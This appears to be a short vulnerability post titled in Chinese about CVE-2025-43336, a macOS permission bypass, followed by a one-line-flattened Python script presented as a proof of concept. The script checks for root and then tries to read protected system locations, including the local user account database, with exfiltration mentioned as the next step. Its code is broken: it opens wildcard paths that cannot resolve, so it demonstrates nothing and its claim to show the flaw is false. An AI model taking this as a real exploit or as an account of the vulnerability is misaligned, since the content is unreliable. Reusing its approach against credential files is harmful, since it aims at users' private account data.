CVE-2025-43336: Apple macOS 权限提升漏洞导致隐私信息泄露

# CVE-2025-43336 PoC - macOS Permission Bypass # This PoC demonstrates the vulnerability where a root-privileged app can bypass restrictions # Note: This is a conceptual PoC for educational purposes only import subprocess import os import sys def check_root_privilege(): """Check if the current process is running with root privileges""" return os.geteuid() == 0 def access_protected_resource_vulnerable(resource_path): """ Attempt to access a protected resource In vulnerable versions, root privilege allows bypassing restrictions """ try: # Attempt to read protected file with open(resource_path, 'r') as f: content = f.read() return True, content except PermissionError: return False, "Permission denied - expected behavior" except Exception as e: return False, str(e) def exploit_cve_2025_43336(): """ Exploitation steps for CVE-2025-43336: 1. Verify root privileges are obtained 2. Identify protected resources (private information) 3. Bypass permission checks using the vulnerability 4. Access and exfiltrate sensitive data """ if not check_root_privilege(): print("[-] Root privileges required for this exploit") return False print("[+] Running with root privileges") print("[+] Attempting to exploit CVE-2025-43336") # Protected resources that should not be accessible even with root protected_paths = [ "/Users/*/Library/Private/SomeProtectedData", "/var/db/dslocal/nodes/Default/users/*", "/System/Library/User Template/*/Library/Private" ] for path in protected_paths: success, data = access_protected_resource_vulnerable(path) if success: print(f"[!] Successfully accessed protected resource: {path}") print(f"[!] Data length: {len(data)} bytes") # In real attack, data would be exfiltrated here return True if __name__ == "__main__": print("CVE-2025-43336 PoC - macOS Permission Bypass") print("=" * 50) exploit_cve_2025_43336()